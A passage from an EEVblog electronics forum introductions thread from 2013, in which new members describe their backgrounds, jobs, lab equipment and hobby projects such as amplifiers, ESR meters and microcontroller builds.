I'm not about to abandon the career that has treated me so well (and I love to design and develop software), but this adventure into EE has been a great amount of fun and I see it being a permanent hobby. Perhaps a tad expensive as hobbies go, but hey - as I tell my wife, at least it keeps me out of bars.
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Post by: EExtrom on March 14, 2013, 04:30:44 am
Hello!

My name is Mitja and I was born in Slovenia (well, at the time it was yugoslavia (NOT Slovakia, at the time Chechoslovakia)).

Three days after getting my EE degree I moved to Finland with my finish wife.

I ended on this forum after stumble on Daves EEVblog several time and decided to watch them ALL!  :-/O

Wish you all good luck in your project endavours!

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Post by: shamanjoe on March 14, 2013, 07:19:20 am
Hi, I'm Scott, from Los Angeles, California, USA. I've been into simple electrics for a long time, but am very new to soldering and actual electronics work. I'd like to learn as I go along, and teach my daughters, who are 1 and 3, as I learn things. I'm hoping they will grow up to know more about electronics than their old man can ever learn..
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Post by: mattmcp on March 14, 2013, 07:24:54 am
Hi.  Matt from Ontario, Canada.  I did some EE courses in university and have built some electronics projects.  Slowly I've built a little lab and have the typical test equipment and some microcontrollers.  I've been watching Dave's videos for a while now and enjoy them all even if I don't understand the more complex EE concepts just yet.
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Post by: IanM on March 14, 2013, 07:40:26 am
Hi, I'm Ian from Ontario Canada. Got my first taste of electronics with those x in 1 kits from radio shack when I was a kid. Now that I'm 30 I've gotten back into it for hobby reasons.

I found Dave's blog on youtube and has proven to be one of the best resources I've found so far.
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Post by: Anson on March 14, 2013, 01:08:06 pm
Hello everyone. My name is Anson. I live in Florida in the good ole USA yeah well it used to be good but we won't go there. I'm 35 and disabled living on disability which kinda sucks, I don't have to go to work every day but most of the time I wish I did. It gets boring not being able to do much but I found this new hobby called electronics and I am having a blast so far I have a bread board and a handful of parts (mostly scrap) and a really messy desk! It's cool every time I move a paper with notes or circuits drawn on it I find a transistor or a led. It's really amazing when your first starting out how exiting it is to make an led flash. I'm sure most of you guys will look back and think wow yeah it was exciting. But you were probably 6 or 7 when you did it. I have a 7 year old daughter taht I want to start teaching electronics too but first I need to learn more. But anyway that's me in a nutshell.
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Post by: Nakitxu on March 14, 2013, 07:46:07 pm
Hi everyone

My name is Inaki, from basque country.

I'm an electronics engineer but I took almost the last 20 years working as industrial programmer (PLCs and this kind of staff)

I discover the EEVBlog, and I'm again in the electronics.... (preparing my bench... a lot of work to start, huff).

My first project: convert an old and damaged HP Scanner into a UV exposure unit to make PCB.

A comment more: The captcha of this forum is horrible!!! I fail 9 of 10 times... huffff
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Post by: cynikal on March 15, 2013, 03:44:23 pm
Hi everyone, i'm a early-30's computer/IT guy and have dabbled with electronics here and there and lately electronics are waaay more interesting to me than computers, so after discovering eevblog while looking for a 'capacitor tutorial' (which was hilarious/hella informative at the same time), here i am.  my earliest experience of electronics was when i was 8 and i had one of those kits ot assemble a radio.  i put it together fine but i had "left over parts" unfortunately, and it didn't work.  but it was a lot of fun and i am in the process of re-getting acquainted with all things electronics.. just picked up a dso today too (and got a 2nd multimeter earlier this week).. anyway other than my ramblings, i have a CS degree but i am starting to really wish i had an EE degree (and was doing that for a living instead), but all that math scared me off :-\ if only it was all hands on only
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Post by: Postal666 on March 15, 2013, 04:33:54 pm
Hi all!  37 year old Postal worker (18yrs) here who recently decided to return to school and finish up a long overdue EET degree.  Not looking to set the world on fire, just gain the electronics knowledge I've always wanted to have since I was a young whipper-snapper, and maybe build my own guitar audio gear. I discovered Dave and EEVblog by sheer chance a long while ago, lurked for a long time, then finally saddled up and joined the forum!

By all accounts I am a noob, both to the forum and electronics, and the EEVblog and it's community have been a blessing.  I think this is only my 5th post (now I can enter the contest, oh yeah!), but I was able to participate in the last live show.  I asked about signal generators (Rigol & Atten), but eventually came across an older HP 33120a which is working quite nicely.  Anyway, that's my story, see you around the forum.
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Post by: skiter13 on March 16, 2013, 01:02:29 am
Hello all.  My name is Richard and I am an EE student from Cleveland Ohio.  Today is my first time in/on the forum although I have been watching and enjoying Dave's videos for a few years.  I don't really remember how I first stumbled on the site, probably searching for help with a homework assignment but I have been coming back ever since.  Thanks Dave for providing this great place and all the great content for us nerds.
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Post by: dark_hawk on March 16, 2013, 03:33:22 am
Hi,

I'm Ahmed and I'm a Civil engineer from Egypt. I'm starting to learn electronics.
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Post by: georgedone on March 16, 2013, 09:48:31 am
I'm George hailing from The Netherlands, I worki in IT but my hobbies are self-made alarm systems
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Post by: BobbyK on March 16, 2013, 12:25:00 pm
Hi Everyone,

  I hail from the US of A. I studied EE in college, but in the past I've been mostly working in the software industry (well, game development really, but I always get weird looks when I say I make games for a living). Back in the days I designed and built audio amplifiers as a hobby, but then came work, and married life, and a baby,...and more recently, Dave!

   When I found my way to EEVBlog, I was so inspired by Dave's motivated energy and love for all things electronic that I watched all of the videos in just a couple of weeks, and it revived the deep love I had for designing and prototyping electronics - So here I am, setting up a small lab, hoping to learn from all of you, and maybe at some point be able to contribute to discussion. Thanks for a great forum, see you all around :)
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Post by: mtdoc on March 16, 2013, 04:09:36 pm
Hey there. 

Well despite my dad being on the forefront of the digital electronics explosion in the 60s-70s and wanting me to go into engineering, I opted for neurobiology where I spent the 80s and 90s playing with neuropharmacology and electrophysiology. Part of that time I was in charge of a large undergraduate neurophysiology lab course which meant a lot of time in front of Tek scopes and looking at small ionic currents and voltages across cell membranes.  Did some Labview programming and made some feeble attempts to learn electronics beyond the minimal I needed for the work I was doing but I never made it very far.  My copy of Horowitz and Hill remained mostly unread and eventually given away (damn!)  |O

Now 2 decades  and a medical education later,  and well into my second career as a "real doctor" I have found myself interested in electronics  again - this time as a hobby. This came on in part as an offshoot of my interest  in electric bicycles, renewable energy and after a recent solar installation -(microhydro is next!)

So, i've been diggin this blog and forum for the past few months and learning lots - thanks Dave!.

I'm putting together a small lab and even picked up a cheap ebay Tek 2236 for old times sake...

Making my way through some basic electonic books and even found a cheap Indian Press version of Horowitz and Hill. Hopefully, I'll get farther this time.  I have a few small projects lined up already so we'll see...
Title: Re: New Member, Please introduce yourself
Post by: brabus on March 17, 2013, 10:40:05 am
Hello world,

I am Alberto, and I live in Austria... not Australia! (take this, aussie!  ;))

Actually, I am a proud Italian guy with an insane passion for electronics, and I moved to Austria for my job; I work in the automotive field.

That's all, see us in the forum!
Title: Re: New Member, Please introduce yourself
Post by: space_bastard on March 17, 2013, 10:48:12 am
Hey guys, I'm Connor, from the US. I'm a community college student with many interests. Not too sure what I want to do with my life yet, currently studying Music (Cello performance/Composition) and math & science (Chemistry/Physics, still unsure as to which). I like electronics (obviously), computer science, video games, comics, good books, RC, photography, 3D printing, and on, and on... Looking forward to having some fun on the forum!
Title: Re: New Member, Please introduce yourself
Post by: babysitter on March 17, 2013, 11:39:07 am
Hi I am Hendrik, mid-30s, radio and tv repairman by profession but havent repaired anything in the last 10 years... spending my time with family and about once in 3 months with ham radio... working as a test+qm guy in a med tech company.
Title: Re: New Member, Please introduce yourself
Post by: jtorba on March 17, 2013, 04:53:37 pm
My name is Jacob and I have been watching Dave's videos in my free time, saw the contest and saw it as a way to get more involved with electronics.
Title: Re: New Member, Please introduce yourself
Post by: juanfermed on March 17, 2013, 05:05:14 pm
Hi! I am Juan Medrano, from Guatemala, a little country in Central America. I have just noticed I never introduced myself here :palm: . I have had the idea to send Dave a postcard, we have beautiful places here too! So in this little country the technological development is still poor, but we are making some steps, we now have something like a mini silicon-valley for software. I am passionate about electronics,  I love it, analog or digital. I hope to write useful posts here, but probably I will be learning much more than posting. Great work Dave, keep the videos going!

Juan Medrano
Title: Re: New Member, Please introduce yourself
Post by: chickenlipss66 on March 17, 2013, 09:03:21 pm
Hi, my names Rob. I live in OZ. I work in electronic security. I collect old analouge mobile phones, mainly the 8000 series Motorola bricks (8000x etc), and early Nokia / Mobira phones. I need help with repairs on these phones, i have the moto service manuals, but not the skills to do any service on the units, i need some help. I hope to find somone who has experience and can work on these old phones.
Title: Re: New Member, Please introduce yourself
Post by: tyler on March 17, 2013, 11:00:46 pm
hello
      my name is tyler and i'm going to fanshawe college in london ont, Canada. I'm taking the Renewable Energy Technician (RET).  My dad gave me a Quick-shot  thermite solding iron.  it has never been used and still in box with instructions with 8 boxes of cartridges.  if i were to sell the iron, what are they worth?   thank everyone  tyler
Title: Re: New Member, Please introduce yourself
Post by: SLJ on March 18, 2013, 12:07:35 am
Tyler,  I have a Quick-shot soldering iron in my collection but no cartridges.  Would love to have a box of cartridges for it.
Check here and contact me: Flame Heated Soldering Irons (http://www.stevenjohnson.com/soldering/flameirons.htm)

Not sure how US customs would like them but who knows.
Title: Re: New Member, Please introduce yourself
Post by: JackB on March 18, 2013, 05:18:42 am
Hi everyone!  I've been on here for awhile and I had not found time to introduce myself.  I hail from the upper-Midwest of the United States.  I am currently finishing up my last year of graduate school (RF emphasis) and I am excited to start putting my knowledge to use.  Hopefully my job will let me do that, haha!  I stumbled across Dave via a colleague who liked the AmpHour podcast.  Summed up, Dave really knows his electronics (most of the time that is).  His teardowns and videos in general are top-of-the-line!  I applaud him for doing his best to try and spread the valuable experience he has learned so far!

The reason I am drawn to the eevblog is the focus on hobby electronics.  There is something satisfying about building a circuit or programming a uC to do something completely on its own.  All of my projects are like my children.  It's awesome to see them grow but they really annoy a person when they behave badly. 
Title: Re: New Member, Please introduce yourself
Post by: 4to20Milliamps on March 18, 2013, 06:52:11 am
Hello all,
My name is Bob Snyder I live in the U.S. I've been an electrician for 23 years, I currently work as an automation technician in Wyoming and I have been an electronics hobbiest since I was a kid, I have been a lurker for some time and enjoy Dave's blog.

This seems like a great bunch of guys, I'll try not to tick anybody off  ;)
Title: Re: New Member, Please introduce yourself
Post by: MadModder on March 18, 2013, 07:35:02 am
Been a member for a year, but haven't written much at all. I mostly hang out on a swedish electronics forum. That means I understand swedish. Beacuse I live in Sweden. Not Switzerland. We do not wear leederhosen or featherd hats, and do not joddle in the mouontains.  ;D
I've been into electronics since I was like, I don't know, 10? But really didn't understand the basics until a couple of years later.
However I did know how to get my LEGO motors and stuff running from batteries at kindergarten.  8)
Now I'm 37 and working with fiber optics. The electronics is all hobby. Got my lab in the basement. Eagerly waiting for the inspiration to finish off the electronics for my bench CNC mill. *sigh*
Title: Re: New Member, Please introduce yourself
Post by: SparkeyinVA on March 19, 2013, 08:10:57 am
Hello I am Jeramé from the USA.

I have been playing, working with Electronics for the past 30 years.  I am a EE with a strong background in Audio and Video, mainly in sound reinforcement.  I have spent the last 10 years working in the Stepper Motor and Linear Servo World. 

I have written many articles on both of these subjects.  I also teach these at our local school.  Feel free to ask me any question you would like.   

I am currently working on putting up a web sight showing some of my work. 

Have a nice day.
Jeramé C.  SparkeyinVA  (Sparkey in VA - Virginia)
Title: Re: New Member, Please introduce yourself
Post by: AxelDominatoR on March 19, 2013, 08:16:45 am
Hello, I'm Axel (not my real name, but it doesn't really matter, just call me Axel)
I'm italian, but I live in Glasgow, Scotland.

I'm a professional mad scientist and as such I enjoy fiddling with electricity and dangerous equipment  >:D

My main job is coding and fixing the Nexus.

I have lots of electronic projects I'm beginning to develop and I would be more than happy to share them here :)
Title: Re: New Member, Please introduce yourself
Post by: madshaman on March 20, 2013, 12:15:29 pm
Hello, I'm Jeff.

Did electronics as a kid, simple stuff, power supply, simple amp, multivibrator, rechargeable "power" system for my bike.

I recently got back into electronics, starting with simple projects built around microcontrollers, slowly started putting together a lab/play-room.

Lately I've been all about working with analog electronics and learning as much as I can, building circuits as I learn about them.  I'm a hobbyist, but that doesn't mean I don't want to learn as absolutely much as possible and aim for projects as challenging as possible without skipping important steps.

I'm pushing 40, but since I've picked this up again, I feel like I'm 13 again, that in itself is worth it.

If anyone comes across my posts, have no fear of being critical, as long as it's constructive and you really know what you're doing.  I'm more than happy to be wrong because it means I have a chance to learn something I didn't know.

Cheers,

Jeff
Title: Re: New Member, Please introduce yourself
Post by: gineer on March 20, 2013, 05:33:02 pm
Hi all,
been listening to the EEVBlog via RSS for a while now and thought I would join in on the forum,

I'm a software Architect who studied Electrical Engineering and enjoy robotics and electronics as a hobby.

Gineer
Title: Re: New Member, Please introduce yourself
Post by: ResR on March 21, 2013, 06:44:11 am
Hey, I'm Martin, age 25, I'm electrician for 5 years.
I started doing electronics since age 12, I found an neon indicator from a broken stove with resistor and played with it. I live in Estonia, the bombhole of eastern europe  :D.
I builded my first project at age 15, it is one transistor flyback HV generator using parts from scrapped TV, project still works and does plasma in burned out bulbs. The current is too low to pop bulbs.
I had my own 2X36W fluorescent light fixture by age 16, first (only) multimeter  :-DMM by age 19.
I don't have an oscilloscope, I looked for it, but problems start to accumulate, so getting it is postponed temporary until the living conditions gets better.
I'm a noob at electronics design, my first audio amplifier project had too many filters and caps. Amp Project (http://www.myspace.com/resr1286/photos/albums/amp-project-2006/2580955)
I'm upgrading my skills, so any constructive critisism/suggestions are welcome.
Title: Re: New Member, Please introduce yourself
Post by: darko31 on March 22, 2013, 06:37:22 am
Hello everyone, my name is Darko, I'm 18 and I'm from Serbia. I'm currently in high school, course mechatronics, and I intend to go to university also mechatronics.

I've stumbled upon one of Dave's videos, and I really liked it, been watching them for a while but only recently registered to the forum. Like every beginner I'll try to help out a little that I can, but I'll mostly learn from this forum. So thanks everyone, this is a wonderful place for any EE's and hobbyists. looking forward to learn new things.
Title: Re: New Member, Please introduce yourself
Post by: ChrisCross288 on March 22, 2013, 05:52:04 pm
Hello from NC. I'm just about done with my Associates Degree in Electronics Engineering at my local community college. I'm also involved in a work-study there as a teachers assistant to my program director. I've been a casual viewer of the YouTube channel for about a year now, and I figured I would join the forum community.

I am currently in the process of building a FIRST style robot for our lab. The goal is to keep the design modular enough for use in multiple classes and labs.

See you around!
Title: Re: New Member, Please introduce yourself
Post by: winluk on March 22, 2013, 06:26:56 pm
Hi,

My name is Lucas. I'm from Ireland.
I've finished Tech & IT college and then I've studied IT & Economics :)
Electronics is my second love. I play with embedded devices running Java.

Cheers and good luck!

Title: Re: New Member, Please introduce yourself
Post by: waqas07 on March 22, 2013, 07:18:15 pm
Hello
I am waqas from pakistan i m new in electronics field and i am starting laptop chipset repairing from this week for this i take classes from an institute and guidance from youtube evblog forum it was v.helpfull.
Title: Re: New Member, Please introduce yourself
Post by: PhilNY on March 23, 2013, 05:43:29 am
My name is Phil
I started in the US air force in 77 working on radar for the F4 Phantom, got my 2yr degree, got my FCC class 1 and did microwave communications, instrument calibration and then ended up at a small college in NY where I have repaired and calibrated measurement equipment for the past 23 years. I found this blog and it put some fun back into the rather tedious life of calibration. The curse of keeping stuff working is that I rarely see much current test equipment due to the robust stuff from the 80's and 90's still kicking. Very interesting discussions on the blog and good to see novices are treated so well.
Title: Re: New Member, Please introduce yourself
Post by: Rodville on March 23, 2013, 08:36:26 am
Hello everyone, I have been watching the videos on YouTube for some time and have decided it would be a good idea to join the forum. I am interested in electronics as a lay person and have done simple repairs to a variety of things. I admin a automotive forum devoted to the KIA Soul and I moderate a second on the same vehicle. I love to collect old computers and cell phones. And my favorite color is red. Hrmm.... Not sure what else is needed but if you have any questions for me then fire away! 
Title: Re: New Member, Please introduce yourself
Post by: Dakota on March 24, 2013, 12:38:12 pm
Hey everyone,

My name is Dakota, I'm 16 and just getting into hobby electronics as a regular thing. I currently sell and repair cell phones to be able to fund projects and buy tools (And of course save for university).

So about a year ago when I started soldering (Using a Metcal at work), I have to say my technique was absolute crap., watching David's videos really helped.

Anyways cheers,
Dakota
Title: Re: New Member, Please introduce yourself
Post by: The_PCB_Guy on March 24, 2013, 01:04:04 pm
Oops, somehow I missed this thread and I just posted in introduction in the General Chat :P

It's this thread: http://www.eevblog.com/forum/chat/new-here (http://www.eevblog.com/forum/chat/new-here)!/

Perhaps the mods could move that post in here? Not sure what abilities they have over here.

Anyway, hello everyone!

Matt,

The_PCB_Guy

P.S. Is the verification for every post going to always be there, or is it just for new members?
Title: Re: New Member, Please introduce yourself
Post by: Thor-Arne on March 24, 2013, 01:07:17 pm
Welcome!
Just for new members.
Title: Re: New Member, Please introduce yourself
Post by: Sebzy on March 25, 2013, 03:13:34 am
Well I'm from Ireland and started off in the 90's after completing two and a half years of EE. First job was as a repair technician fixing up old valve radios in a shop called Clifford's Radio here in Dublin. I'm currently teaching electronics in several open community based programs.

Always eager to learn more and the discovery of EEVBlog was amazing.
Title: Re: New Member, Please introduce yourself
Post by: PhilA on March 25, 2013, 07:07:30 am
Howdy,

I'm Phil from Southeast Louisiana. I work as Network Administrator for the local phone co./ISP. General purpose tinkerer/hack :)

Started out with battery operated electrics at a young age, introduced to computers at age 8 at the college my dad was lecturing at (Sinclair ZX81, incidentally now own that very computer), started to understand electronics at around the same age with a Tandy 50-in-1 kit, various other oddments, then on to Sinclair Spectrum territory, BBC B at school, onward and upward.
Wife says I own too many 'scopes (4). I have a Tektronix 585a back in the UK because it was too big and heavy to ship; a little Beckman Industrial that I bought here out of necessity, and now a Tektronix 464 and HP 1741A which came at the best price of free from work, written off by the accounting department.

Aside from tinkering with electronics, I enjoy working with my Arduino, absolutely love working with my cars. One of my cars comes from an era of microcomputers that I can understand (1987), tinkering with the fuel/spark computer on that keeps me busy.

Was pointed at EEVblog by a friend of mine after I started to ramble on about calibrating my 464...

Nice to meet y'all!

--Phil
Title: Re: New Member, Please introduce yourself
Post by: Jdansti on March 25, 2013, 04:46:06 pm
Hi, y'all!  I'm John from SE Texas and I'm 50, my favorite color is blue and I like to take long walks on the beach.  ;)

I grew up playing with electronics. My dad is an EE and us kids always had access to a soldering iron, a meter, and cigar boxes full of parts. I was soldering before I could write my name. I took some electronics classes in high school and college, but ended up graduating with a BS in Environmental Management.  I manage hazardous waste cleanup sites, and my background in electronics has helped me with a lot of electrical related problems at work.

Lately I've been building guitar effects. I couldn't afford these when i was a kid growing up in the 70's and didn't even think about building them. The information wasn't as ubiquitous as it is today and there was no Internet. I get most of my information and help over at diystompboxes.com (I hope it's ok to say that. I don't want to spam, and i have no interest in that site other than I really like it).

So I registered here mainly to help round out my knowledge of electronics. I look forward to checking out the site.
Title: Re: New Member, Please introduce yourself
Post by: megahz on March 27, 2013, 11:11:42 am
Hello! I'm Saul, I am a sophomore in high school, and am planning on going to Drexel for electromechanial engineering, and I love doing DIY electrical projects.
Title: Re: New Member, Please introduce yourself
Post by: geekygenius on March 29, 2013, 04:31:17 pm
Hi, I am a high school student living near Seattle, Washington. I am interested in audio electronics, including modular synths, EQs and amplifiers. I found Dave when I was looking for reviews on my first multimeter I got. I also do some computer programming, so getting an Arduino was pretty neat for me. I've spent hours watching the EEVBlog, and look forward to watching many more and learning about electronics!
Title: Re: New Member, Please introduce yourself
Post by: jorgerocha on March 29, 2013, 05:00:55 pm
Hi, i'm Jorge from Portugal, and like to make electronic things  :-DMM

Title: Re: New Member, Please introduce yourself
Post by: casper.bang on March 29, 2013, 09:18:45 pm
Hey there. I'm Casper, from Denmark. I'm a 34 year old software engineer who grew up like so many other geeks, taking things apart and tinkering, eventually making my way into electronics. After college I opted to go the software route though, since getting parts and equipment is a non-issue. I'm now slowly rediscovering my passion for electronics, primarily driven by interfacing with computers and home automation. Dave's enthusiastic style and excellent walk-throughs have me spending a lot of time on youtube lately while the wife is watching TV; making this a win-win situation. :D
Title: Re: New Member, Please introduce yourself
Post by: TheSoundshark on March 30, 2013, 01:48:23 am
Hi all im Anthony im 29 from the uk and and electronics nut totally self taught my second love is audio and lighting equipment which spawned im interest in electronics. I run an audio and lighting rental and repair company here in the uk along with a mobile phone and computer repair shop. Iv been watching eevblog for around 2 years now right back to when dave installed his extra work top in his garage at home.

Look forward to chatting to you all and watching many more of dave's great videos.
dyrryy
Title: Re: New Member, Please introduce yourself
Post by: robthegeek on March 30, 2013, 03:26:52 am
Hello, I'm Rob from the US. I have recently started an interest in better understanding electronics. I have an associates degree in Computer and Networking Systems from Pittsburgh Technical Institute in 2003. I live at home on disability so I have plenty of time on my hands to learn new things.

I haven't created many passive circuits and the ones I did were with lots of reference and were small. I have fooled with 555 timers, Led lighting, Ardunio, Shift Registers, made a small basic laser light effects show once. So, I am very much a beginner. Looking forward to picking brains in the future.
Title: Re: New Member, Please introduce yourself
Post by: abhishek7xavier on March 30, 2013, 06:20:55 am
Hi,this is abhishek kumar from india.
I am a student and an electronics hobbyist.
You can check my blog at embeddedfortheevil.wordpress.com
Title: Re: New Member, Please introduce yourself
Post by: Eviltech on March 30, 2013, 07:38:32 am
Hi, I'm Vasil from Bulgaria. I'm currently a student in the Technical University Sofia, but at the Plovdiv branch. Specialty - Automation information and controll technologies. I have been in to electronics for about 12-15 years. It's nice to be here!
Title: Re: New Member, Please introduce yourself
Post by: RPBCACUEAIIBH on March 30, 2013, 07:44:51 am
Hi all!

I'm from Romania, I'm a student studying mechatronics, at last year (hopefully)... :S:P I like the electronics and programming part, I don't really like mechanics. Ok, I like mechanics as well, but not the calculating part... :P
My hobby is to design new circuits with microcontrollers and 74series logic mostly. I have and Arduino pro mini, a Basys 2 FPGA board and lost count how many ATTiny microcontrollers in various half made projects and tons of home made and/or modified and recycled working things... As for other equipment, I don't have any good equipment, I struggle with a few cheep Chinese, but I learned to use them well... :)
What I don't like is sport, and paperwork... (You see why I hate being student... :P Don't misunderstand this, I'm glad to be still a student, because I would never heard of FPGA and microcontrollers if I wouldn't be here, but I probably will not start one more university...)
I found EEVblog quiet a long time ago on youtube, but I didn't registered to the forum because I don't really like to read much... Watching a video is a completely different thing... :P:)
Title: Re: New Member, Please introduce yourself
Post by: bogdan2013 on March 30, 2013, 11:10:07 am
Hi all !
My name is Bogdan . I'm 16 years old and I'm from Romania . I love the electronics and for that I'm more away than school subject . At school we learn about basic active components (transistors , diodes) lol and some basics logic circuits , how are be MUX / DEMUX , 7 segment decodifier . In this moment I'm working with microcontrollers (mega32) . My first advanced project will be a simple PSU with adjustable voltage based on microcontroller .
I found the EEVBlog from youtube when I searched reviews of some oscilloscopes .
Title: Re: New Member, Please introduce yourself
Post by: GamerAndds on March 30, 2013, 05:40:18 pm
Hello world :)
My name is Andre and I Live in Canada. I am currently still in high school as of the time I started on the forms, but plan to become an electrical engineer when older. I am currently working on my first big project, a 2000 Watt amp with supply rails +/- 86 volts, but this is not the first time working with such high voltages and current as microwaves are fun to discharge.....  ^-^ . That's just part of me..... O0
Title: Re: New Member, Please introduce yourself
Post by: Kernel on March 30, 2013, 06:10:10 pm
Hi!
I'm Nick, 22 years old, live in Melbourne, studying Computer Systems Engineering at RMIT.
DeeperDarkest on Youtube.
When I was 3 or 4, my brother and I blew up the home PC by switching the PSU from 220 to 110. Have been interested in Electricity and Electronics ever since.
I've already watched several EEVBlog vids and it has inspired me to decide to advance my working knowledge, and start building a few simple things.
Title: Re: New Member, Please introduce yourself
Post by: TheCrazyRichard on March 30, 2013, 10:32:47 pm
Hi!
I'm Richard and i live in Czech Republic (somewhere in the central Europe), I'm 16 and I'm studying some highscool, which is oriented to 'global network technologies' but we don't do anything like that, we mostly do just some basic electronics like opamps, transistors, and we're gonna use PIC's and dsPIC's aswell.

I'm interested in computers (all sorts of), CPU/microcontroller design (just some crappy simple concepts), FPGA's (even though I haven't got any FPGA devkit yet, but simulations of my designs kinda work), and also most of the other general electronics stuff.

I've found the EEVblog while browsing youtube when i was ill and had nothing to do, and i found Dave's videos just more than awesome!

--Richard
Title: Re: New Member, Please introduce yourself
Post by: thegermanstig on March 30, 2013, 10:50:30 pm
Hello I am Lars from Germany,

I have been following the EEVblog for quite some time now and thought it would be fun to join the forum.
I am studying Electronics Engineering in my last semester and am soon going to graduate as a Bachelor.
Dave's blog is very inspiring and I am always looking for new things to learn.

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Ribster on March 31, 2013, 05:16:34 am
Hey there,

I'm Robbe, 23yrs old. Working 5 years now, and studying at the same time.
My background is elektromechanics, but kinda got sucked into electronics.
EEVblog inspired me a lot!

Currently working on a project for school to finish my degree.
It's a solar follower, that's controlled by PLC.
I made a totally dedicated module that drives 2 stepper motors that communicates with the plc.

Some home automation projects are also coming out soon

Well, that's it. I'm happy to be on the forum.
See you around!

Greets
Title: Re: New Member, Please introduce yourself
Post by: ZeroStatic on March 31, 2013, 06:34:37 am
Hi All. :)

I'm Brenden in Queensland, Australia.

I've been doing electronics for 30+ years and found the EEVBlog for some entertainment, distraction.
I'll be checking to the forums from time to time to help where possible.
My major work is in PIC micros with 15+ years experience.

Keep up the good work Dave, it would be nice to see the PSU project get finished sooner rather than later.

Brenden
Title: Re: New Member, Please introduce yourself
Post by: rstevenson on March 31, 2013, 08:37:14 am
Hey all!

I'm Ryan from Canada! I am just graduating from Mechatronics Engineering. My friend told me about this forum, so here I am!

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: oscu on March 31, 2013, 11:54:15 am
Hello all!

My name is Oskar and I live in Sweden. Electronics has been a hobby since I was young. I used to build tube guitar amps, but in recent years I have moved to smaller projects and safer voltages. Currently studying electrical engineering.
Title: Re: New Member, Please introduce yourself
Post by: BT BOB on March 31, 2013, 12:50:51 pm
Hello from the eastern shore of Maryland, Delmarva and beyond.

Bobs my name and I make a living by working on controls and instrumentation used in food processing plants, waste treatment facility's, water treatment plants or any other place that will have me. I started out as a boiler tech in the US Navy working on pneumatic controls and other instruments. I get to play with a lot of calibration equipment on the job. At home I will work on anything I can get my hands on. Just ordered a  Instek GDS-1102A-U 'scope from Tequipment this weekend 10% off a sale price (ended up around $474 to my door.) cant wait for it to come in so I can play with it and use it to 'shoot my 2236 Textronix.
Title: Re: New Member, Please introduce yourself
Post by: Sander on April 01, 2013, 07:28:13 am
Hello EEVBlog community,

My name is Sander, 23 years old, living in Hoorn (a city about 30 kilometers north of Amsterdam). I started with electronics at a young age, playing with batteries and bicycle light bulbs. Things got serious when I started model railroading and building audio amplifiers. Eventually I ended up taking engineering classes at the University of Applied Sciences in Alkmaar, which I am currently finishing.

Besides the above, I’m a voluntary lifeboat captain/commander and I like to spend time in the climbing gym (or the Alps, or anywhere they’ve got rocks and/or boulders).

Cheers,
Sander
Title: Re: New Member, Please introduce yourself
Post by: RiverTown on April 03, 2013, 07:50:49 am
Hi everyone,
I’m Marin, 20 years old, from Croatia. I’m 2nd year EE student. Electronics has been my hobby for almost 7 years. I’m also an active member of local electronics forum elektronika.ba.
I have been following the EEVblog forum and videos for quite some time but, until now, never as registered user. Mostly because of language, I’m not very good in writing English.
Title: Re: New Member, Please introduce yourself
Post by: NeoRecasata on April 03, 2013, 03:09:14 pm
Hello EEV bloggers, i'm Franco Neo Recasata, i'm from Philippines i'm 11 Years old,living in Quezon City, I learned Electronics from the internet specially from You tube i was interested in Electrical Engineering when i was 10 years old,Sanwa CD800a was my first   :-DMM
(http://Sanwa CD800a.JPG)
Title: Re: New Member, Please introduce yourself
Post by: airiclenz on April 03, 2013, 08:44:07 pm
Hello everybody,

I am mainly a software guy and photographer but started developing some systems for camera-motion-control and thus begun dealing with hardware. Arduino was my first friend and helper on the way of understanding electronics. I am currently developing my own branch of Dave's Power supply and am enjoying every new bit I learn.

I hope I will be able to contribute some of this here in this forum.

Airic
Title: Re: New Member, Please introduce yourself
Post by: mxbeanie on April 05, 2013, 02:03:53 am
Hello all,

My name is Seth Johnson from Minneapolis, Minnesota.  I work as an engineer in the biomedical field and enjoy pretty much anything with electronics.  My interest in electronics started by building tube amps and effects for electric guitar.  I love watching Dave's videos and really want him to finish his battery powered power supply project.  I want it!

-Seth
Title: Re: New Member, Please introduce yourself
Post by: Axles on April 05, 2013, 07:03:00 am
Hi,

I'm Mike (in Swansea, UK), my education is formally in human physiology, but my interest in electronics allows me make any devices I need that either don't exist yet or are too expensive for me to purchase.

Title: Re: New Member, Please introduce yourself
Post by: TheRevva on April 05, 2013, 05:54:45 pm
I'm a million miles (1.605 Gm?) from being an EE, but I've had more than a passing interest for the past 4 (gulp?) decades...
(In my chosen profession, I deal more with the software aspects than working on the 'iron' itself)
Absolutely LOVE the video blog.  (It was almost scary seeing Dave wandering through his vast history of EA mags.  MANY of those covers were dangerously familiar)

My next little 'design project' is likely going to be a digital ESR / Capacitance meter.

I've seen quite a few different designs,, but none of them got my 'two thumbs up' for every criteria on my wish list, so I'm going to try to 'roll my own'.
Some examples of others that didn't quite meet my criteria:
- The classic 'Bob Parker' ESR meter effectively only runs at 2kHz (8uS + 492uS), but most caps I am interested in testing have a datasheet with 100kHz.  (Admittedly, it's only a minor niggle as the 2kHz ESR would be rather close)
- The classic 'Bob Parker' ESR meter gives no indication of capacitance.  (If it did, you'd instantly recognise paralleled caps)
- Many other ESR meters  I've seen cannot be used to test 'in-circuit' as they throw out several VOLTS to the D.U.T. (risking activation of semiconductors nearby)

In my nativity, I believe it's possible to develop a meter that can measure ESR, Capacitiance AND leakage current of 'in circuit' caps.

Anyway, I'll let y'all know how I go...

Rgds, Trev
Title: Re: New Member, Please introduce yourself
Post by: DaMenaCe on April 05, 2013, 11:40:25 pm
Hello every one, The Name is Dennis. i am New Jersey, United States. i am actually a ME Student but i LOVE Electronics, i dont think i want to switch my major but, i am definitely interested in learning more. I have been following Daves Videos for a while and i am finally here. i am not too sure if could any help to anyone but if i could i would love to do so. thank you.
Dennis :)
Title: Re: New Member, Please introduce yourself
Post by: majki on April 06, 2013, 08:21:25 am
Hello everyone,

I have been following the EEVblog for quite some time now.
The first episode what I saw was the comparison of PicKit2 and PicKit3 and I liked it very much,
so I stayed here and started to watch almost all episodes from the begining.
I catched up now, so it is the time to join to the forum.

I am from Hungary, 38, Electrical Enginer, but I actually work as a software developer.
(mobile devices, android, little ios)
Electronics is my hobby since I was 12.

My favorit field is the microcontrollers. (PIC, dsPIC and AVR family what I used.)
During the past years I built (later I designed too) quite a lot of circuits including
the major part of my lab equpment.

Radio receivers, power amplifiers, lab power supplies, function generator,
remote temp/humidity meter (rs485 and ethernet), variable frequency drive,
caller ID, digital read out, LCR/ESR meter, transistor tester,
uCurrent with my own PCB design ;-), high voltage scope probe and lot more.
